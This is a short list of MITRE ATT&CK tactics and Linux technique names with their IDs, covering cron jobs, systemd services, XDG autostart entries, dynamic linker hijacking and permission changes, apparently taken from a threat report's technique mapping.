Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Shared Modules

T1129

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking